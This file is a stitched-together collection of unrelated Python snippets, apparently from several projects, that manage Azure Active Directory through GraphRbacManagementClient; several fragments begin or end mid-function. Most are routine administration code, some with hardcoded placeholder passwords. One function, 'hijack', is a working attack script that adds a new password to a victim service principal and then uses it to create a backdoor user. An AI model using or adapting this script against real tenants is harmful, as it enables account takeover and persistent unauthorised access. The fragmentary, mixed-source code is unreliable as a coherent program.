def run(self, terms, variables, **kwargs): self.set_options(direct=kwargs) credentials = {} credentials['azure_client_id'] = self.get_option( 'azure_client_id', None) credentials['azure_secret'] = self.get_option('azure_secret', None) credentials['azure_tenant'] = self.get_option('azure_tenant', 'common') if credentials['azure_client_id'] is None or credentials[ 'azure_secret'] is None: raise AnsibleError("Must specify azure_client_id and azure_secret") _cloud_environment = azure_cloud.AZURE_PUBLIC_CLOUD if self.get_option('azure_cloud_environment', None) is not None: cloud_environment = azure_cloud.get_cloud_from_metadata_endpoint( credentials['azure_cloud_environment']) try: azure_credentials = ServicePrincipalCredentials( client_id=credentials['azure_client_id'], secret=credentials['azure_secret'], tenant=credentials['azure_tenant'], resource=_cloud_environment.endpoints. active_directory_graph_resource_id) client = GraphRbacManagementClient( azure_credentials, credentials['azure_tenant'], base_url=_cloud_environment.endpoints. active_directory_graph_resource_id) response = list( client.service_principals.list(filter="appId eq '{0}'".format( credentials['azure_client_id']))) sp = response[0] return sp.object_id.split(',') except CloudError as ex: raise AnsibleError( "Failed to get service principal object id: %s" % to_native(ex)) return False
def augment(self, resources): s = self.get_session().get_session_for_resource('https://graph.windows.net') graph_client = GraphRbacManagementClient(s.get_credentials(), s.get_tenant_id()) object_ids = list(set( resource['properties']['principalId'] for resource in resources if resource['properties']['principalId'])) principal_dics = GraphHelper.get_principal_dictionary(graph_client, object_ids) for resource in resources: if resource['properties']['principalId'] in principal_dics.keys(): graph_resource = principal_dics[resource['properties']['principalId']] if graph_resource.object_id: resource['principalName'] = GraphHelper.get_principal_name(graph_resource) resource['displayName'] = graph_resource.display_name resource['aadType'] = graph_resource.object_type return resources
def reset_service_principal_credential(name, secret=None, years=1): '''reset credential, on expiration or you forget it. :param str name: the uri representing the name of the service principal :param str secret: the secret used to login. If missing, command will generate one. :param str years: Years the secret will be valid. ''' profile = Profile() cred, _, tenant = profile.get_login_credentials(for_graph_client=True) client = GraphRbacManagementClient(cred, tenant) #pylint: disable=no-member #look for the existing application query_exp = 'identifierUris/any(x:x eq \'{}\')'.format(name) aad_apps = list(client.applications.list(filter=query_exp)) if not aad_apps: raise CLIError( 'can\'t find a graph application matching \'{}\''.format(name)) #no need to check 2+ matches, as app id uri is unique app = aad_apps[0] #look for the existing service principal query_exp = 'servicePrincipalNames/any(x:x eq \'{}\')'.format(name) aad_sps = list(client.service_principals.list(filter=query_exp)) if not aad_sps: raise CLIError( 'can\'t find an service principal matching \'{}\''.format(name)) sp_object_id = aad_sps[0].object_id #build a new password credential and patch it secret = secret or str(uuid.uuid4()) start_date = datetime.datetime.now() end_date = start_date + relativedelta(years=years) key_id = str(uuid.uuid4()) app_cred = PasswordCredential(start_date, end_date, key_id, secret) app_create_param = ApplicationUpdateParameters( password_credentials=[app_cred]) client.applications.patch(app.object_id, app_create_param) _build_output_content(name, sp_object_id, secret, tenant)
def get_object_id(self) -> str: """Get the RBAC object ID Returns: str: Object ID """ graphrbac_credentials = ServicePrincipalCredentials( client_id=self._get_client_id(), secret=self._get_client_secret(), tenant=self._get_tenant_id(), resource="https://graph.windows.net", ) graphrbac_client = GraphRbacManagementClient( graphrbac_credentials, self._get_tenant_id(), "https://graph.windows.net") result = list( graphrbac_client.service_principals.list( filter="servicePrincipalNames/any(c:c eq '{}')".format( self._get_client_id()))) assert len(result[0].object_id) > 0 return result[0].object_id
def setup_client(self, context): #user_id = context['environment']['openstack.params']['auth']['credentials']['ADMIN_USER_ID'] #user_pw= context['environment']['openstack.params']['auth']['credentials']['ADMIN_USER_PW'] #azure_tenant_id= str(context['environment']['openstack.params']['auth']['AZURE_TENANT_ID']) subscription_id = str(context['environment']['openstack.params'] ['auth']['SUBSCRIPTION_ID']) credentials = UserPassCredentials( "*****@*****.**", # Your new user "XXXX", # Your password #user_id, #user_pw, resource="https://graph.windows.net") azure_tenant_id = "cc27778d-9be" self.graphrbac_client = GraphRbacManagementClient( GraphRbacManagementClientConfiguration(credentials, azure_tenant_id)) #subscription_id = '1beafe45-ce54' self.authorization_client = AuthorizationManagementClient( AuthorizationManagementClientConfiguration(credentials, subscription_id))
def enhance_policies(self, access_policies): if self.graph_client is None: s = Session(resource='https://graph.windows.net') self.graph_client = GraphRbacManagementClient( s.get_credentials(), s.get_tenant_id()) # Retrieve graph objects for all object_id object_ids = [p['objectId'] for p in access_policies] # GraphHelper.get_principal_dictionary returns empty AADObject if not found with graph # or if graph is not available. principal_dics = GraphHelper.get_principal_dictionary( self.graph_client, object_ids) for policy in access_policies: aad_object = principal_dics[policy['objectId']] policy['displayName'] = aad_object.display_name policy['aadType'] = aad_object.object_type policy['principalName'] = GraphHelper.get_principal_name( aad_object) return access_policies
def _get_login_account_principal_id(cli_ctx): from azure.cli.core._profile import Profile from azure.graphrbac import GraphRbacManagementClient profile = Profile(cli_ctx=cli_ctx) cred, _, tenant_id = profile.get_login_credentials( resource=cli_ctx.cloud.endpoints.active_directory_graph_resource_id) client = GraphRbacManagementClient( cred, tenant_id, base_url=cli_ctx.cloud.endpoints.active_directory_graph_resource_id) assignee = profile.get_current_account_user() result = list( client.users.list(filter=f"userPrincipalName eq '{assignee}'")) if not result: result = list( client.service_principals.list( filter=f"servicePrincipalNames/any(c:c eq '{assignee}')")) if not result: raise CLIInternalError(( f"Failed to retrieve principal id for '{assignee}', which is needed to create a " f"role assignment")) return result[0].object_id
name=newCompartmentName + "-Admins", description=newCompartmentName + "-Admins")).data pks12_cert = crypto.load_pkcs12( automationassets.get_automation_certificate("AzureRunAsCertificate")) pem_pkey = crypto.dump_privatekey(crypto.FILETYPE_PEM, pks12_cert.get_privatekey()) thumbprint = automationConnection["CertificateThumbprint"] context = adal.AuthenticationContext( AZURE_PUBLIC_CLOUD.endpoints.active_directory + '/' + AZTenantId) credentials = AdalAuthentication( lambda: context.acquire_token_with_client_certificate( "https://graph.windows.net", automationConnection["ApplicationId"], pem_pkey, thumbprint)) graphrbac_client = GraphRbacManagementClient(credentials, AZTenantId) AZgrp_name = "cloud-" + newCompartmentName + "-Admins" AZgrp = next( graphrbac_client.groups.list(filter="startswith(displayName,'" + AZgrp_name + "')"), None) if AZgrp is None: graphrbac_client.groups.create( GroupCreateParameters(display_name=AZgrp_name, mail_nickname=AZgrp_name)) logging.info("Creating azure AD group for admins") else: logging.warning("Azure AD group for admins already exists") AZgrp = graphrbac_client.groups.list(filter="startswith(displayName,'" + AZgrp_name + "')").next()
try: credentials = UserPassCredentials('*****@*****.**', 'mypassword', resource="https://graph.windows.net") except: timevar = time.strftime('%d/%m/%y %H:%M:%S', time.localtime()) varloggaps = '%s ERROR: Fail connexion credentials. Mail : %s \n \n' % ( timevar, email) fichier = open("/var/log/azurelog.log", "a") fichier.write(varloggaps) fichier.close() tenant_id = "e53e167a-e2bc-40ef-9b3f-fd6e9f999999" graphrbac_client = GraphRbacManagementClient(credentials, tenant_id) param = UserUpdateParameters(password_profile=PasswordProfile( password=newpassword, force_change_password_next_login=False)) try: timevar = time.strftime('%d/%m/%y %H:%M:%S', time.localtime()) varloggaps = '%s INFO: send password for Mail : %s \n \n' % (timevar, email) fichier = open("/var/log/azurelog.log", "a") fichier.write(varloggaps) fichier.close() user = graphrbac_client.users.update(email, param) os.remove('/password/office365/%s' % login) except:
def getObjectId(self): # if self.__objectId == None: graphRbacClient = GraphRbacManagementClient(self.__graphCredentials, self.getConfig().getTenantId()) return self.getObjectIdData(graphRbacClient)
def get_client(self): client = GraphRbacManagementClient( self.credentials.get_credentials('aad_graph'), tenant_id=self.credentials.get_tenant_id()) client._client.config.add_user_agent(get_user_agent()) return client
creds = ServicePrincipalCredentials(tenant=tenant_id, client_id=client_id, secret=client_secret) # Read the group name from file f = open("groups.txt") group_name = f.readline() # Create rbac credentials object rbac_creds = ServicePrincipalCredentials(tenant=tenant_id, client_id=client_id, secret=client_secret, resource="https://graph.windows.net") # Create graphrbac client used to create the aad group graphrbac_client = GraphRbacManagementClient(rbac_creds, tenant_id) # Create aad group group = GroupCreateParameters(display_name=group_name, mail_nickname="GroupMail-at-microsoft.com") graphrbac_client.groups.create(group) # Change permissions of the bash script used to retrieve aad group ID os.chmod('./script.sh', 0o755) rc = subprocess.call("./script.sh") # Retrieve the aad group ID from file f = open("groupid.txt") group_id = str(f.readline()) # Create storage account credentials
def run(self, args): """Run the remediation job. :param args: List of arguments provided to the job. :type args: list. :returns: int """ params = self.parse(args[1]) client_id = os.environ.get("AZURE_CLIENT_ID") client_secret = os.environ.get("AZURE_CLIENT_SECRET") tenant_id = os.environ.get("AZURE_TENANT_ID") # credential for Storage Account and Key Vault management client credential = ClientSecretCredential( client_id=client_id, client_secret=client_secret, tenant_id=tenant_id, ) # credential for AzureGraphRbacManagementClient credentials_graph = ServicePrincipalCredentials( client_id=client_id, secret=client_secret, tenant=tenant_id, resource="https://graph.windows.net", ) # credential for SqlManagementClient and credentials = ServicePrincipalCredentials( client_id=client_id, secret=client_secret, tenant=tenant_id, ) client_storage = StorageManagementClient(credential, params["subscription_id"]) keyvault_client = KeyVaultManagementClient( credential, params["subscription_id"] ) graph_client = GraphRbacManagementClient( credentials_graph, tenant_id, base_url=None ) monitor_client = MonitorClient(credential, params["subscription_id"]) client = SqlManagementClient( credentials, params["subscription_id"], base_url=None ) client_authorization = AuthorizationManagementClient( credential, params["subscription_id"], api_version="2018-01-01-preview" ) return self.remediate( client_id, tenant_id, credential, client, client_storage, keyvault_client, graph_client, monitor_client, client_authorization, params["resource_group_name"], params["sql_server_name"], params["region"], params["subscription_id"], )
def create_keyvault( cmd, client, # pylint: disable=too-many-locals resource_group_name, vault_name, location=None, sku=None, enabled_for_deployment=None, enabled_for_disk_encryption=None, enabled_for_template_deployment=None, enable_soft_delete=None, no_self_perms=None, tags=None): from azure.mgmt.keyvault.models import ( VaultCreateOrUpdateParameters, Permissions, KeyPermissions, SecretPermissions, CertificatePermissions, StoragePermissions, AccessPolicyEntry, Sku, VaultProperties) from azure.cli.core._profile import Profile from azure.graphrbac.models import GraphErrorException from azure.graphrbac import GraphRbacManagementClient profile = Profile(cli_ctx=cmd.cli_ctx) cred, _, tenant_id = profile.get_login_credentials( resource=cmd.cli_ctx.cloud.endpoints.active_directory_graph_resource_id ) graph_client = GraphRbacManagementClient( cred, tenant_id, base_url=cmd.cli_ctx.cloud.endpoints.active_directory_graph_resource_id ) subscription = profile.get_subscription() if no_self_perms: access_policies = [] else: permissions = Permissions( keys=[ KeyPermissions.get, KeyPermissions.create, KeyPermissions.delete, KeyPermissions.list, KeyPermissions.update, KeyPermissions.import_enum, KeyPermissions.backup, KeyPermissions.restore, KeyPermissions.recover ], secrets=[ SecretPermissions.get, SecretPermissions.list, SecretPermissions.set, SecretPermissions.delete, SecretPermissions.backup, SecretPermissions.restore, SecretPermissions.recover ], certificates=[ CertificatePermissions.get, CertificatePermissions.list, CertificatePermissions.delete, CertificatePermissions.create, CertificatePermissions.import_enum, CertificatePermissions.update, CertificatePermissions.managecontacts, CertificatePermissions.getissuers, CertificatePermissions.listissuers, CertificatePermissions.setissuers, CertificatePermissions.deleteissuers, CertificatePermissions.manageissuers, CertificatePermissions.recover ], storage=[ StoragePermissions.get, StoragePermissions.list, StoragePermissions.delete, StoragePermissions.set, StoragePermissions.update, StoragePermissions.regeneratekey, StoragePermissions.setsas, StoragePermissions.listsas, StoragePermissions.getsas, StoragePermissions.deletesas ]) try: object_id = _get_current_user_object_id(graph_client) except GraphErrorException: object_id = _get_object_id(graph_client, subscription=subscription) if not object_id: raise CLIError( 'Cannot create vault.\nUnable to query active directory for information ' 'about the current user.\nYou may try the --no-self-perms flag to ' 'create a vault without permissions.') access_policies = [ AccessPolicyEntry(tenant_id=tenant_id, object_id=object_id, permissions=permissions) ] properties = VaultProperties( tenant_id=tenant_id, sku=Sku(name=sku), access_policies=access_policies, vault_uri=None, enabled_for_deployment=enabled_for_deployment, enabled_for_disk_encryption=enabled_for_disk_encryption, enabled_for_template_deployment=enabled_for_template_deployment, enable_soft_delete=enable_soft_delete) parameters = VaultCreateOrUpdateParameters(location=location, tags=tags, properties=properties) return client.create_or_update(resource_group_name=resource_group_name, vault_name=vault_name, parameters=parameters)
def get_client(self): return GraphRbacManagementClient( self.credentials.get_credentials('aad_graph'), tenant_id=self.credentials.get_tenant_id())
def get_graph_client() -> GraphRbacManagementClient: return GraphRbacManagementClient(get_msi(), get_subscription())
def create_keyvault( client, resource_group_name, vault_name, location=None, #pylint:disable=too-many-arguments sku=SkuName.standard.value, enabled_for_deployment=None, enabled_for_disk_encryption=None, enabled_for_template_deployment=None, no_self_perms=None, tags=None): from azure.mgmt.keyvault.models import VaultCreateOrUpdateParameters from azure.cli.core._profile import Profile, CLOUD from azure.graphrbac.models import GraphErrorException profile = Profile() cred, _, tenant_id = profile.get_login_credentials( resource=CLOUD.endpoints.active_directory_graph_resource_id) graph_client = GraphRbacManagementClient(cred, tenant_id, base_url=CLOUD.endpoints.active_directory_graph_resource_id) # pylint: disable=line-too-long subscription = profile.get_subscription() if no_self_perms: access_policies = [] else: permissions = Permissions(keys=[ KeyPermissions.get, KeyPermissions.create, KeyPermissions.delete, KeyPermissions.list, KeyPermissions.update, KeyPermissions.import_enum, KeyPermissions.backup, KeyPermissions.restore ], secrets=[SecretPermissions.all], certificates=[CertificatePermissions.all]) try: object_id = _get_current_user_object_id(graph_client) except GraphErrorException: object_id = _get_object_id(graph_client, subscription=subscription) if not object_id: raise CLIError('Cannot create vault.\n' 'Unable to query active directory for information '\ 'about the current user.\n' 'You may try the --no-self-perms flag to create a vault'\ ' without permissions.') access_policies = [ AccessPolicyEntry(tenant_id=tenant_id, object_id=object_id, permissions=permissions) ] properties = VaultProperties( tenant_id=tenant_id, sku=Sku(name=sku), access_policies=access_policies, vault_uri=None, enabled_for_deployment=enabled_for_deployment, enabled_for_disk_encryption=enabled_for_disk_encryption, enabled_for_template_deployment=enabled_for_template_deployment) parameters = VaultCreateOrUpdateParameters(location=location, tags=tags, properties=properties) return client.create_or_update(resource_group_name=resource_group_name, vault_name=vault_name, parameters=parameters)
def create_aad_user(credentials, tenant_id, **kwargs): """ Create an AAD application and service principal :param credentials: msrestazure.azure_active_directory.AdalAuthentication :param tenant_id: str :param **application_name: str """ graph_rbac_client = GraphRbacManagementClient( credentials, tenant_id, base_url=AZURE_PUBLIC_CLOUD.endpoints. active_directory_graph_resource_id) application_credential = uuid.uuid4() try: display_name = kwargs.get("application_name", DefaultSettings.application_name) application = graph_rbac_client.applications.create( parameters=ApplicationCreateParameters( available_to_other_tenants=False, identifier_uris=["http://{}.com".format(display_name)], display_name=display_name, password_credentials=[ PasswordCredential( start_date=datetime( 2000, 1, 1, 0, 0, 0, 0, tzinfo=timezone.utc), end_date=datetime( 2299, 12, 31, 0, 0, 0, 0, tzinfo=timezone.utc), value=application_credential, key_id=uuid.uuid4()) ])) service_principal = graph_rbac_client.service_principals.create( ServicePrincipalCreateParameters(app_id=application.app_id, account_enabled=True)) except GraphErrorException as e: if e.inner_exception.code == "Request_BadRequest": application = next( graph_rbac_client.applications.list( filter="identifierUris/any(c:c eq 'http://{}.com')".format( display_name))) confirmation_prompt = "Previously created application with name {} found. "\ "Would you like to use it? (y/n): ".format(application.display_name) prompt_for_confirmation( confirmation_prompt, e, ValueError("Response not recognized. Please try again.")) password_credentials = list( graph_rbac_client.applications.list_password_credentials( application_object_id=application.object_id)) password_credentials.append( PasswordCredential(start_date=datetime(2000, 1, 1, 0, 0, 0, 0, tzinfo=timezone.utc), end_date=datetime(2299, 12, 31, 0, 0, 0, 0, tzinfo=timezone.utc), value=application_credential, key_id=uuid.uuid4())) graph_rbac_client.applications.patch( application_object_id=application.object_id, parameters=ApplicationUpdateParameters( password_credentials=password_credentials)) service_principal = next( graph_rbac_client.service_principals.list( filter="appId eq '{}'".format(application.app_id))) else: raise e return application.app_id, service_principal.object_id, str( application_credential)
def GraphRbacManagementClient(self): from azure.graphrbac import GraphRbacManagementClient return GraphRbacManagementClient( self.GetCredentialsForResource('https://graph.windows.net/'), self.tenant_id)
def run(self, terms, variables, **kwargs): #self.set_options(var_options=variables, direct=kwargs) self.set_options(direct=kwargs) #credentials = _get_credentials(self._options) #if len(self._options) > 0: # #raise AnsibleError("self._options is: {0} {1}".format(self._options['azure_client_id'], self._options['azure_secret'])) #else: # raise AnsibleError("options is null: {0}, {1}".format(kwargs, variables)) credentials = {} credentials['azure_client_id'] = self.get_option('azure_client_id') credentials['azure_secret'] = self.get_option('azure_secret') credentials['azure_tenant'] = self.get_option('azure_tenant', 'common') _cloud_environment = azure_cloud.AZURE_PUBLIC_CLOUD if self.get_option('azure_cloud_environment', None) is not None: cloud_environment = azure_cloud.get_cloud_from_metadata_endpoint( credentials['azure_cloud_environment']) azure_credentials = ServicePrincipalCredentials( client_id=credentials['azure_client_id'], secret=credentials['azure_secret'], tenant=credentials['azure_tenant'], #cloud_environment=_cloud_environment, resource=_cloud_environment.endpoints. active_directory_graph_resource_id) #auth_context = AuthenticationContext(_cloud_environment.endpoints.active_directory + '/' + credentials['azure_tenant']) # get on behalf of token #creds = auth_context.acquire_token_with_client_credentials(_cloud_environment.endpoints.active_directory_graph_resource_id, credentials['azure_client_id'], credentials['azure_secret']) #if creds is None: # raise AnsibleError('invalid token') #creds = auth_context.acquire_token_with_client_credentials('00000002-0000-0000-c000-000000000000', credentials['azure_client_id'], credentials['azure_secret']) #copy_aad_cred = copy.deepcopy(azure_credentials) #copy_aad_cred.token['access_token'] = creds['accessToken'] # if auth_token is not None: # raise AnsibleError("auth_token is null {0} {1}"); # else: # raise AnsibleError("auth_token is: {0}".format(auth_token)) client = GraphRbacManagementClient( azure_credentials, credentials['azure_tenant'], base_url=_cloud_environment.endpoints. active_directory_graph_resource_id) if not client: raise AnsibleError('invalid client') #else: # raise AnsibleError('valid client!') try: response = list( client.service_principals.list(filter="appId eq '{}'".format( credentials['azure_client_id']))) sp = response[0] #return ''.join(map(str, sp.object_id.split(','))) return sp.object_id.split(',') except CloudError as ex: raise AnsibleError( "Failed to get service principal object id: %s" % to_native(ex)) return False
def __init__(self, credentials, tenant_id): self._client = GraphRbacManagementClient(credentials, tenant_id=tenant_id)
def hijack(username, password, tenant_id, service_principal_id): domain = username.split('@')[1] # Step 0 - authenticate logging.info('Authenticating to Azure with the provided credentials') graphrbac_credentials = UserPassCredentials( username, password, resource='https://graph.windows.net') client = GraphRbacManagementClient(graphrbac_credentials, tenant_id=tenant_id) # Step 1 - get the desired service principal logging.info('Looking for the desired service principal') found = False for s in list(client.service_principals.list()): if s.app_id == service_principal_id: logging.info('Found it - hijacking {} ({})'.format( s.app_display_name, s.app_id)) found = True break if not found: logging.error('Did not find service principal, exiting') return service_principal = client.service_principals.get(object_id=s.object_id) # Step 2 - create new credentials for the service principal logging.info('Creating new credentials for {}'.format(s.app_display_name)) sp_password = '******' new_password = PasswordCredential( value=sp_password, start_date=(datetime.today() - timedelta(days=1)), end_date=(datetime.today() + timedelta(days=365))) client.service_principals.update_password_credentials( object_id=service_principal.object_id, value=[new_password]) logging.info('Set password \"{}\"'.format(sp_password)) hijacked_credentials = ServicePrincipalCredentials( client_id=s.app_id, secret=new_password.value, tenant=tenant_id, resource='https://graph.windows.net') # Step 3 - create a new user with the hijacked service principal credentials logging.info('Using hijacked service principal to create a new user') client = GraphRbacManagementClient(hijacked_credentials, tenant_id=tenant_id) random_uuid = uuid.uuid4() user_name = 'test-{}'.format(random_uuid) user_password = '******' new_user_password = PasswordProfile(password=user_password) logging.info('Creating user {} with password \"{}\"'.format( user_name, user_password)) new_user_parameters = UserCreateParameters( account_enabled=True, display_name=user_name, user_principal_name='{}@{}'.format(random_uuid, domain), mail_nickname=user_name, password_profile=new_user_password) new_user_created = client.users.create(new_user_parameters) logging.info('Done')
def handler(event, context): saml_available_roles = [] paginator_list_account = client_organizations.get_paginator( 'list_accounts') for accounts_page in paginator_list_account.paginate(): for aws_account in accounts_page['Accounts']: role_arn = 'arn:aws:iam::{}:role/{}'.format( aws_account['Id'], os.environ['AWS_ASSUME_ROLE_NAME']) provider_arn = 'arn:aws:iam::{}:saml-provider/{}'.format( aws_account['Id'], os.environ['AWS_SAML_PROVIDER_NAME']) try: logger.info('assuming role {}'.format(role_arn)) assumed_role = client_sts.assume_role( RoleArn=role_arn, RoleSessionName="assume_role_session") except Exception as e: logger.exception( 'failed assuming role {}, skipping account {}'.format( role_arn, aws_account['Name'])) continue credentials = assumed_role['Credentials'] client_iam = boto3.client( 'iam', aws_access_key_id=credentials['AccessKeyId'], aws_secret_access_key=credentials['SecretAccessKey'], aws_session_token=credentials['SessionToken']) try: paginator_list_roles = client_iam.get_paginator('list_roles') for roles_page in paginator_list_roles.paginate(): roles = roles_page['Roles'] logger.info('discovered {} roles in {} account'.format( len(roles), aws_account['Name'])) for role in roles: for statement in role['AssumeRolePolicyDocument'][ 'Statement']: if 'Federated' in statement[ 'Principal'] and statement['Principal'][ 'Federated'] == provider_arn: label = '[{}] {}'.format( aws_account['Name'], role['RoleName']) logger.info( 'role {} is for SAML'.format(label)) saml_available_roles.append( AppRole( **{ 'description': role['Description'] if 'Description' in role else role['RoleName'], 'display_name': label, 'allowed_member_types': [ 'User', ], 'id': uuid.uuid5(uuid.NAMESPACE_DNS, label), 'is_enabled': True, 'value': '{},{}'.format( role['Arn'], provider_arn), })) except Exception as (e): logger.exception( 'failed inspecting roles(s), skipping account {}'.format( aws_account['Name'])) continue if not saml_available_roles: logger.warning( 'there are no roles for SAML, check if roles principal matches provider arn' ) return credentials = UserPassCredentials(os.environ['AZURE_USERNAME'], os.environ['AZURE_PASSWORD'], resource='https://graph.windows.net') graphrbac_client = GraphRbacManagementClient(credentials, os.environ['AZURE_TENANT_ID']) try: principal = graphrbac_client.service_principals.get( object_id=os.environ['AZURE_OBJECT_ID']) for role in principal.app_roles: if role.description == 'msiam_access': saml_available_roles.insert(0, role) continue role.is_enabled = False logger.info('new roles are: {}'.format(saml_available_roles)) logger.info('disabling existing roles {}'.format(principal.app_roles)) graphrbac_client.service_principals.update( os.environ['AZURE_OBJECT_ID'], principal) principal.app_roles = saml_available_roles logger.info('creating new roles {}'.format(principal.app_roles)) graphrbac_client.service_principals.update( os.environ['AZURE_OBJECT_ID'], principal) except Exception as (e): logger.exception('error while updating azure principal')
def get_az_client(): return GraphRbacManagementClient(*get_az_credentials())
def client(config): return GraphRbacManagementClient(_credentials(config), config['tenant_id'])
def __init__(self, credentials): self._client = GraphRbacManagementClient( credentials.graph_credentials, tenant_id=credentials.get_tenant_id())
def create_keyvault(cmd, client, # pylint: disable=too-many-locals resource_group_name, vault_name, location=None, sku=None, enabled_for_deployment=None, enabled_for_disk_encryption=None, enabled_for_template_deployment=None, enable_soft_delete=None, enable_purge_protection=None, bypass=None, default_action=None, no_self_perms=None, tags=None): from azure.cli.core._profile import Profile from azure.graphrbac.models import GraphErrorException from azure.graphrbac import GraphRbacManagementClient VaultCreateOrUpdateParameters = cmd.get_models('VaultCreateOrUpdateParameters', resource_type=ResourceType.MGMT_KEYVAULT) Permissions = cmd.get_models('Permissions', resource_type=ResourceType.MGMT_KEYVAULT) KeyPermissions = cmd.get_models('KeyPermissions', resource_type=ResourceType.MGMT_KEYVAULT) SecretPermissions = cmd.get_models('SecretPermissions', resource_type=ResourceType.MGMT_KEYVAULT) CertificatePermissions = cmd.get_models('CertificatePermissions', resource_type=ResourceType.MGMT_KEYVAULT) StoragePermissions = cmd.get_models('StoragePermissions', resource_type=ResourceType.MGMT_KEYVAULT) AccessPolicyEntry = cmd.get_models('AccessPolicyEntry', resource_type=ResourceType.MGMT_KEYVAULT) Sku = cmd.get_models('Sku', resource_type=ResourceType.MGMT_KEYVAULT) VaultProperties = cmd.get_models('VaultProperties', resource_type=ResourceType.MGMT_KEYVAULT) profile = Profile(cli_ctx=cmd.cli_ctx) cred, _, tenant_id = profile.get_login_credentials( resource=cmd.cli_ctx.cloud.endpoints.active_directory_graph_resource_id) graph_client = GraphRbacManagementClient( cred, tenant_id, base_url=cmd.cli_ctx.cloud.endpoints.active_directory_graph_resource_id) subscription = profile.get_subscription() # if bypass or default_action was specified create a NetworkRuleSet # if neither were specified we make network_acls None if cmd.supported_api_version(resource_type=ResourceType.MGMT_KEYVAULT, min_api='2018-02-14'): network_acls = _create_network_rule_set(cmd, bypass, default_action) if bypass or default_action else None if no_self_perms: access_policies = [] else: permissions = Permissions(keys=[KeyPermissions.get, KeyPermissions.create, KeyPermissions.delete, KeyPermissions.list, KeyPermissions.update, KeyPermissions.import_enum, KeyPermissions.backup, KeyPermissions.restore, KeyPermissions.recover], secrets=[ SecretPermissions.get, SecretPermissions.list, SecretPermissions.set, SecretPermissions.delete, SecretPermissions.backup, SecretPermissions.restore, SecretPermissions.recover], certificates=[ CertificatePermissions.get, CertificatePermissions.list, CertificatePermissions.delete, CertificatePermissions.create, CertificatePermissions.import_enum, CertificatePermissions.update, CertificatePermissions.managecontacts, CertificatePermissions.getissuers, CertificatePermissions.listissuers, CertificatePermissions.setissuers, CertificatePermissions.deleteissuers, CertificatePermissions.manageissuers, CertificatePermissions.recover], storage=[ StoragePermissions.get, StoragePermissions.list, StoragePermissions.delete, StoragePermissions.set, StoragePermissions.update, StoragePermissions.regeneratekey, StoragePermissions.setsas, StoragePermissions.listsas, StoragePermissions.getsas, StoragePermissions.deletesas]) try: object_id = _get_current_user_object_id(graph_client) except GraphErrorException: object_id = _get_object_id(graph_client, subscription=subscription) if not object_id: raise CLIError('Cannot create vault.\nUnable to query active directory for information ' 'about the current user.\nYou may try the --no-self-perms flag to ' 'create a vault without permissions.') access_policies = [AccessPolicyEntry(tenant_id=tenant_id, object_id=object_id, permissions=permissions)] properties = VaultProperties(tenant_id=tenant_id, sku=Sku(name=sku), access_policies=access_policies, vault_uri=None, enabled_for_deployment=enabled_for_deployment, enabled_for_disk_encryption=enabled_for_disk_encryption, enabled_for_template_deployment=enabled_for_template_deployment, enable_soft_delete=enable_soft_delete, enable_purge_protection=enable_purge_protection) if hasattr(properties, 'network_acls'): properties.network_acls = network_acls parameters = VaultCreateOrUpdateParameters(location=location, tags=tags, properties=properties) return client.create_or_update(resource_group_name=resource_group_name, vault_name=vault_name, parameters=parameters)